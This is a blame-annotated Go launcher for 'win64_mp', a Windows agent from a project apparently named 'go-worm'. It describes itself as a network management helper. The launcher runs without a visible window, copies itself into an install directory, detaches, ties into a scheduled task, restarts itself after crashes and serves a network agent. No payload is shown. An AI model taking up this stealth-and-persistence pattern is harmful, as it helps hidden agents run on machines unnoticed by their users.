2026-08-28 13:30:12 +03:00
|
|
|
// win64_mp is a Windows-only, local network management helper.
|
2026-08-18 16:40:50 +03:00
|
|
|
//
|
|
|
|
|
// Build for Windows x64:
|
|
|
|
|
//
|
2026-09-01 23:12:22 +03:00
|
|
|
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o win64_mp.exe .
|
2026-08-18 16:40:50 +03:00
|
|
|
//
|
2026-09-01 20:12:12 +03:00
|
|
|
// Runs headless by default. Use -foreground for a visible console (dev only).
|
|
|
|
|
// Use -background to spawn a detached copy and exit the launcher.
|
2026-08-18 16:40:50 +03:00
|
|
|
package main
|
|
|
|
|
|
|
|
|
|
import (
|
2026-09-01 20:12:12 +03:00
|
|
|
"errors"
|
2026-08-18 17:03:20 +03:00
|
|
|
"flag"
|
2026-09-01 20:12:12 +03:00
|
|
|
"fmt"
|
|
|
|
|
"strings"
|
|
|
|
|
"time"
|
2026-08-18 17:03:20 +03:00
|
|
|
|
2026-08-18 16:40:50 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
2026-09-01 20:12:12 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
2026-09-01 20:04:20 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
|
2026-08-18 16:40:50 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
2026-08-28 12:52:26 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/install"
|
2026-08-18 17:03:20 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
2026-08-18 16:40:50 +03:00
|
|
|
)
|
|
|
|
|
|
2026-09-01 20:12:12 +03:00
|
|
|
var errAlreadyRunning = errors.New("agent already running")
|
2026-09-01 20:04:20 +03:00
|
|
|
|
2026-09-01 20:12:12 +03:00
|
|
|
func main() {
|
2026-09-01 23:12:22 +03:00
|
|
|
defer func() {
|
|
|
|
|
if r := recover(); r != nil {
|
|
|
|
|
crashlog.RecordPanic(r)
|
|
|
|
|
helpers.Log.Printf("fatal panic: %v", r)
|
|
|
|
|
}
|
|
|
|
|
}()
|
|
|
|
|
|
2026-09-01 20:12:12 +03:00
|
|
|
background := flag.Bool("background", false, "spawn detached agent and exit")
|
2026-09-01 23:12:22 +03:00
|
|
|
ensure := flag.Bool("ensure", false, "run the agent if it is not already running")
|
2026-09-01 20:12:12 +03:00
|
|
|
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
|
2026-09-01 20:17:06 +03:00
|
|
|
skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
|
|
|
|
|
parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
|
|
|
|
|
addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
|
2026-08-18 17:03:20 +03:00
|
|
|
flag.Parse()
|
|
|
|
|
|
2026-09-01 23:12:22 +03:00
|
|
|
if *foreground {
|
2026-09-01 23:25:06 +03:00
|
|
|
instance.AllowConsoleKill()
|
2026-09-01 23:12:22 +03:00
|
|
|
instance.ShowConsole()
|
|
|
|
|
} else {
|
|
|
|
|
_ = helpers.AttachLogFile()
|
|
|
|
|
}
|
|
|
|
|
|
2026-09-01 20:17:06 +03:00
|
|
|
if !*skipInstall {
|
|
|
|
|
if err := install.Ensure(); err != nil {
|
|
|
|
|
die(err, *foreground)
|
|
|
|
|
}
|
2026-09-01 20:04:20 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if *ensure {
|
2026-09-01 23:12:22 +03:00
|
|
|
if instance.AlreadyRunning() {
|
|
|
|
|
return
|
2026-09-01 20:12:12 +03:00
|
|
|
}
|
2026-09-01 23:12:22 +03:00
|
|
|
// Stay resident as the agent. Do not spawn another -ensure process:
|
|
|
|
|
// that child died with the scheduled task, which looked like a flash.
|
|
|
|
|
} else if *background {
|
2026-08-18 17:03:20 +03:00
|
|
|
if err := instance.Detach(); err != nil {
|
2026-09-01 20:12:12 +03:00
|
|
|
die(err, *foreground)
|
2026-08-18 17:03:20 +03:00
|
|
|
}
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
2026-09-01 23:12:22 +03:00
|
|
|
cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel, StopOnInterrupt: *foreground}
|
2026-09-01 20:12:12 +03:00
|
|
|
for {
|
2026-09-01 20:17:06 +03:00
|
|
|
err := runAgent(cfg)
|
2026-09-01 20:12:12 +03:00
|
|
|
if err == nil {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if errors.Is(err, errAlreadyRunning) {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
crashlog.RecordError(err)
|
|
|
|
|
helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay)
|
|
|
|
|
time.Sleep(config.RestartDelay)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-09-01 20:17:06 +03:00
|
|
|
func runAgent(cfg agent.Config) (err error) {
|
2026-09-01 20:12:12 +03:00
|
|
|
defer func() {
|
|
|
|
|
if r := recover(); r != nil {
|
|
|
|
|
crashlog.RecordPanic(r)
|
|
|
|
|
err = fmt.Errorf("panic: %v", r)
|
|
|
|
|
}
|
|
|
|
|
}()
|
|
|
|
|
|
2026-09-01 20:17:06 +03:00
|
|
|
a, err := agent.New(cfg)
|
2026-08-18 16:40:50 +03:00
|
|
|
if err != nil {
|
2026-09-01 20:12:12 +03:00
|
|
|
if strings.Contains(err.Error(), "already running") {
|
|
|
|
|
return errAlreadyRunning
|
|
|
|
|
}
|
|
|
|
|
return err
|
2026-08-18 16:40:50 +03:00
|
|
|
}
|
|
|
|
|
defer a.Close()
|
|
|
|
|
|
|
|
|
|
if err := a.Serve(); err != nil {
|
2026-09-01 20:12:12 +03:00
|
|
|
return err
|
2026-08-18 16:40:50 +03:00
|
|
|
}
|
2026-09-01 20:12:12 +03:00
|
|
|
return nil
|
2026-08-18 16:40:50 +03:00
|
|
|
}
|
2026-09-01 20:04:20 +03:00
|
|
|
|
2026-09-01 20:12:12 +03:00
|
|
|
func die(err error, foreground bool) {
|
|
|
|
|
if !foreground {
|
|
|
|
|
instance.HideConsole()
|
|
|
|
|
_ = helpers.AttachLogFile()
|
|
|
|
|
}
|
2026-09-01 20:04:20 +03:00
|
|
|
crashlog.RecordError(err)
|
|
|
|
|
helpers.Log.Fatal(err)
|
|
|
|
|
}
|